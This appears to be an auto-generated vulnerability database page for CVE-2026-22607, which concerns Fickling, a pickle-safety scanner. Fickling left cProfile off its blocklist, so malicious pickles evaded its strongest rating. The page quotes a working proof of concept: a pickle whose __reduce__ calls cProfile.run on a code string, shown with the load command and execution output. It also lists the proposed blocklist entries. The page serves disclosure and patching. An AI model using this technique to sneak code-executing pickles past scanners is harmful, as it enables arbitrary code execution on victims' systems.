CVE-2026-22607: Fickling Blocklist Bypass CProfile.run() Vulnerability

HIGH
Advisory Identifier: GHSA-p523-jq9w-64x9
Share
CWE-502 CWE-184
Published
Advisory Summary

CVE-2026-22607 is a HIGH cprofile.run() vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Fickling Blocklist Bypass libraries in the PyPI ecosystem. The issue involves cprofile.run(). Remediation is available by upgrading affected packages to version 0.1.7.

CVE-2026-22607 at a Glance

CVE Identifier CVE-2026-22607
GHSA Identifier GHSA-p523-jq9w-64x9
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Fickling Blocklist Bypass
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-22607

To remediate this vulnerability, upgrade all affected Fickling Blocklist Bypass dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

fickling fixed: 0.1.7 
pip install fickling>=0.1.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show fickling

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-22607, inspect your installed packages using pip:

pip show fickling

Analyze the terminal output to locate any version of Fickling Blocklist Bypass in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.7), your application is affected.

Note: The pip show fickling command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Fickling Blocklist Bypass, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Fickling's assessment `cProfile` was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43). # Original report ## Description ### Summary Fickling versions up to and including 0.1.6 do not treat Python's `cProfile` module as unsafe. Because of this, a malicious pickle that uses `cProfile.run()` is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling's output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. ### Details The `cProfile` module is missing from fickling's block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types). Incriminated source code: - File: `fickling/analysis.py` - Class: `UnsafeImports` - Issue: The blocklist does not include `cProfile`, `cProfile.run`, or `cProfile.runctx` Reference to similar fix: - PR #187 added `pty` to the blocklist to fix CVE-2025-67748 - PR #108 documented the blocklist approach - The same fix pattern should be applied for `cProfile` How the bypass works: 1. Attacker creates a pickle using `cProfile.run()` in `__reduce__` 2. `cProfile.run()` accepts a Python code string and executes it directly (C-accelerated version of profile.run) 3. Fickling's `UnsafeImports` analysis does not flag `cProfile` as dangerous 4. Only the `UnusedVariables` heuristic triggers, resulting in SUSPICIOUS severity 5. The pickle should be rated OVERTLY_MALICIOUS like `os.system`, `eval`, and `exec` Tested behavior (fickling 0.1.6): | Function | Fickling Severity | RCE Capable | |----------|-------------------|-------------| | os.system | LIKELY_OVERTLY_MALICIOUS | Yes | | eval | OVERTLY_MALICIOUS | Yes | | exec | OVERTLY_MALICIOUS | Yes | | cProfile.run | SUSPICIOUS | Yes ← BYPASS | | cProfile.runctx | SUSPICIOUS | Yes ← BYPASS | Suggested fix: Add to the unsafe imports blocklist in `fickling/analysis.py`: - `cProfile` - `cProfile.run` - `cProfile.runctx` - `_lsprof` (underlying C module) ## PoC Complete instructions, including specific configuration details, to reproduce the vulnerability. Environment: - Python 3.13.2 - fickling 0.1.6 (latest version, installed via pip) ### Step 1: Create malicious pickle ```python import pickle import cProfile class MaliciousPayload: def __reduce__(self): return (cProfile.run, ("print('CPROFILE_RCE_CONFIRMED')",)) with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f) ``` ### Step 2: Analyze with fickling ```python from fickling.fickle import Pickled from fickling.analysis import check_safety with open('malicious.pkl', 'rb') as f: data = f.read() pickled = Pickled.load(data) result = check_safety(pickled) print(f"Severity: {result.severity}") print(f"Analysis: {result}") ``` Expected output (if properly detected): ``` Severity: Severity.OVERTLY_MALICIOUS ``` Actual output (bypass confirmed): ``` Severity: Severity.SUSPICIOUS Analysis: Variable `_var0` is assigned value `run(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file ``` ### Step 3: Prove RCE by loading the pickle ```bash python -c "import pickle; pickle.load(open('malicious.pkl', 'rb'))" ``` Output ``` CPROFILE_RCE_CONFIRMED 4 function calls in 0.000 seconds Ordered by: standard name ncalls tottime percall cumtime percall filename:lineno(function) 1 0.000 0.000 0.000 0.000 <string>:1(<module>) 1 0.000 0.000 0.000 0.000 {built-in method builtins.exec} 1 0.000 0.000 0.000 0.000 {built-in method builtins.print} 1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects} ``` Check: The code executes, proving RCE. ### Pickle disassembly (evidence): ``` 0: \x80 PROTO 5 2: \x95 FRAME 58 11: \x8c SHORT_BINUNICODE 'cProfile' 21: \x94 MEMOIZE (as 0) 22: \x8c SHORT_BINUNICODE 'run' 27: \x94 MEMOIZE (as 1) 28: \x93 STACK_GLOBAL 29: \x94 MEMOIZE (as 2) 30: \x8c SHORT_BINUNICODE "print('CPROFILE_RCE_CONFIRMED')" 63: \x94 MEMOIZE (as 3) 64: \x85 TUPLE1 65: \x94 MEMOIZE (as 4) 66: R REDUCE 67: \x94 MEMOIZE (as 5) 68: . STOP highest protocol among opcodes = 4 ``` ## Impact Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502). Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes: - ML model validation pipelines - Model hosting platforms (Hugging Face, MLflow, etc.) - Security scanning tools that use fickling - CI/CD pipelines that validate pickle artifacts Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system. Why cProfile.run() is dangerous: Unlike `runpy.run_path()` which requires a file on disk, `cProfile.run()` takes a code string directly. This means the entire attack is self-contained in the pickle - no external files needed. Python docs explicitly state that `cProfile.run()` takes "a single argument that can be passed to the exec() function". `cProfile` is the C-accelerated version and is more commonly available than `profile`. It's also the recommended profiler per Python docs ("cProfile is recommended for most users"), so it's present in virtually all Python installations. Severity: HIGH - The attacker achieves arbitrary code execution - The security control (fickling) is specifically designed to prevent this - The bypass requires no special conditions beyond crafting the pickle with cProfile - Attack is fully self-contained (no external files needed) - cProfile is more commonly used than profile, increasing attack surface

CVE-2026-22607 Affected Fickling Blocklist Bypass Versions

1 component(s)
Fixed Versions:
0.1.7
Product / Package Ecosystem Affected Versions Fixed Version
fickling
pypi/fickling
PyPI
< 0.1.7
0.1.7

References

GitHub Advisory / Wiki ADVISORY
https://github.com/trailofbits/fickling/security/advisories/GHSA-565g-hwwr-4pp3
GitHub Advisory / Wiki ADVISORY
https://github.com/trailofbits/fickling/security/advisories/GHSA-p523-jq9w-64x9
GitHub Advisory / Wiki ADVISORY
https://github.com/trailofbits/fickling/security/advisories/GHSA-r7v6-mfhq-g3m2
NVD — CVE-2026-22607 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-22607
Fickling Blocklist Bypass Source Repository REPOSITORY
https://github.com/trailofbits/fickling/pull/108
Fickling Blocklist Bypass Source Repository REPOSITORY
https://github.com/trailofbits/fickling/pull/187
Fickling Blocklist Bypass Source Repository REPOSITORY
https://github.com/trailofbits/fickling/pull/195
Security Fix Commit FIX COMMIT
https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43
Fickling Blocklist Bypass Source Repository REPOSITORY
https://github.com/trailofbits/fickling
Fickling Blocklist Bypass Source Repository REPOSITORY
https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L116
Fickling Blocklist Bypass Release RELEASE
https://github.com/trailofbits/fickling/releases/tag/v0.1.7

Frequently Asked Questions

What is CVE-2026-22607?
CVE-2026-22607 is a security vulnerability in Fickling Blocklist Bypass involving cProfile.run() under CWE-502: Deserialization of Untrusted Data.
Which Fickling Blocklist Bypass versions are affected?
Affected versions include releases prior to 0.1.7 across affected packages: fickling.
What version fixes CVE-2026-22607?
Upgrading to 0.1.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is fickling affected?
Yes, fickling is affected in releases prior to 0.1.7. Upgrade your dependency to 0.1.7 or later.
What CWE is associated with CVE-2026-22607?
CVE-2026-22607 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check PyPI dependencies for CVE-2026-22607?
Run the dependency tree command: 'pip show fickling'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p523-jq9w-64x9",
  "modified" : "2026-01-11T14:54:55Z",
  "published" : "2026-01-09T21:04:22Z",
  "aliases" : [ "CVE-2026-22607" ],
  "summary" : "Fickling Blocklist Bypass: cProfile.run()",
  "details" : "# Fickling's assessment\n\n`cProfile` was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43).\n\n# Original report\n\n## Description\n\n### Summary\n\nFickling versions up to and including 0.1.6 do not treat Python's `cProfile` module as unsafe. Because of this, a malicious pickle that uses `cProfile.run()` is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.\n\nIf a user relies on Fickling's output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.\n\nThis affects any workflow or product that uses Fickling as a security gate for pickle deserialization.\n\n### Details\n\nThe `cProfile` module is missing from fickling's block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).\n\nIncriminated source code:\n\n- File: `fickling/analysis.py`\n- Class: `UnsafeImports`\n- Issue: The blocklist does not include `cProfile`, `cProfile.run`, or `cProfile.runctx`\n\nReference to similar fix:\n\n- PR #187 added `pty` to the blocklist to fix CVE-2025-67748\n- PR #108 documented the blocklist approach\n- The same fix pattern should be applied for `cProfile`\n\nHow the bypass works:\n\n1. Attacker creates a pickle using `cProfile.run()` in `__reduce__`\n2. `cProfile.run()` accepts a Python code string and executes it directly (C-accelerated version of profile.run)\n3. Fickling's `UnsafeImports` analysis does not flag `cProfile` as dangerous\n4. Only the `UnusedVariables` heuristic triggers, resulting in SUSPICIOUS severity\n5. The pickle should be rated OVERTLY_MALICIOUS like `os.system`, `eval`, and `exec`\n\nTested behavior (fickling 0.1.6):\n\n| Function | Fickling Severity | RCE Capable |\n|----------|-------------------|-------------|\n| os.system | LIKELY_OVERTLY_MALICIOUS | Yes |\n| eval | OVERTLY_MALICIOUS | Yes |\n| exec | OVERTLY_MALICIOUS | Yes |\n| cProfile.run | SUSPICIOUS | Yes ← BYPASS |\n| cProfile.runctx | SUSPICIOUS | Yes ← BYPASS |\n\nSuggested fix:\n\nAdd to the unsafe imports blocklist in `fickling/analysis.py`:\n- `cProfile`\n- `cProfile.run`\n- `cProfile.runctx`\n- `_lsprof` (underlying C module)\n\n## PoC\n\nComplete instructions, including specific configuration details, to reproduce the vulnerability.\n\nEnvironment:\n- Python 3.13.2\n- fickling 0.1.6 (latest version, installed via pip)\n\n### Step 1: Create malicious pickle\n\n```python\nimport pickle\nimport cProfile\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (cProfile.run, (\"print('CPROFILE_RCE_CONFIRMED')\",))\n\nwith open(\"malicious.pkl\", \"wb\") as f:\n    pickle.dump(MaliciousPayload(), f)\n```\n\n### Step 2: Analyze with fickling\n\n```python\nfrom fickling.fickle import Pickled\nfrom fickling.analysis import check_safety\n\nwith open('malicious.pkl', 'rb') as f:\n    data = f.read()\n\npickled = Pickled.load(data)\nresult = check_safety(pickled)\nprint(f\"Severity: {result.severity}\")\nprint(f\"Analysis: {result}\")\n```\n\nExpected output (if properly detected):\n```\nSeverity: Severity.OVERTLY_MALICIOUS\n```\n\nActual output (bypass confirmed):\n```\nSeverity: Severity.SUSPICIOUS\nAnalysis: Variable `_var0` is assigned value `run(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file\n```\n\n### Step 3: Prove RCE by loading the pickle\n\n```bash\npython -c \"import pickle; pickle.load(open('malicious.pkl', 'rb'))\"\n```\n\nOutput\n```\nCPROFILE_RCE_CONFIRMED\n         4 function calls in 0.000 seconds\n\n   Ordered by: standard name\n\n   ncalls  tottime  percall  cumtime  percall filename:lineno(function)\n        1    0.000    0.000    0.000    0.000 <string>:1(<module>)\n        1    0.000    0.000    0.000    0.000 {built-in method builtins.exec}\n        1    0.000    0.000    0.000    0.000 {built-in method builtins.print}\n        1    0.000    0.000    0.000    0.000 {method 'disable' of '_lsprof.Profiler' objects}\n```\n\nCheck: The code executes, proving RCE.\n\n### Pickle disassembly (evidence):\n\n```\n    0: \\x80 PROTO      5\n    2: \\x95 FRAME      58\n   11: \\x8c SHORT_BINUNICODE 'cProfile'\n   21: \\x94 MEMOIZE    (as 0)\n   22: \\x8c SHORT_BINUNICODE 'run'\n   27: \\x94 MEMOIZE    (as 1)\n   28: \\x93 STACK_GLOBAL\n   29: \\x94 MEMOIZE    (as 2)\n   30: \\x8c SHORT_BINUNICODE \"print('CPROFILE_RCE_CONFIRMED')\"\n   63: \\x94 MEMOIZE    (as 3)\n   64: \\x85 TUPLE1\n   65: \\x94 MEMOIZE    (as 4)\n   66: R    REDUCE\n   67: \\x94 MEMOIZE    (as 5)\n   68: .    STOP\nhighest protocol among opcodes = 4\n```\n\n## Impact\n\nVulnerability Type:\n\nIncomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).\n\nWho is impacted:\n\nAny user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:\n- ML model validation pipelines\n- Model hosting platforms (Hugging Face, MLflow, etc.)\n- Security scanning tools that use fickling\n- CI/CD pipelines that validate pickle artifacts\n\nAttack scenario:\n\nAn attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as \"SUSPICIOUS\" (not \"OVERTLY_MALICIOUS\"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.\n\nWhy cProfile.run() is dangerous:\n\nUnlike `runpy.run_path()` which requires a file on disk, `cProfile.run()` takes a code string directly. This means the entire attack is self-contained in the pickle - no external files needed. Python docs explicitly state that `cProfile.run()` takes \"a single argument that can be passed to the exec() function\".\n\n`cProfile` is the C-accelerated version and is more commonly available than `profile`. It's also the recommended profiler per Python docs (\"cProfile is recommended for most users\"), so it's present in virtually all Python installations.\n\nSeverity: HIGH\n\n- The attacker achieves arbitrary code execution\n- The security control (fickling) is specifically designed to prevent this\n- The bypass requires no special conditions beyond crafting the pickle with cProfile\n- Attack is fully self-contained (no external files needed)\n- cProfile is more commonly used than profile, increasing attack surface",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "fickling"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.1.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.1.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/security/advisories/GHSA-565g-hwwr-4pp3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/security/advisories/GHSA-p523-jq9w-64x9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/security/advisories/GHSA-r7v6-mfhq-g3m2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22607"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/pull/108"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/pull/187"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/pull/195"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/trailofbits/fickling"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L116"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/releases/tag/v0.1.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184", "CWE-502" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-09T21:04:22Z",
    "nvd_published_at" : "2026-01-10T02:15:49Z"
  }
}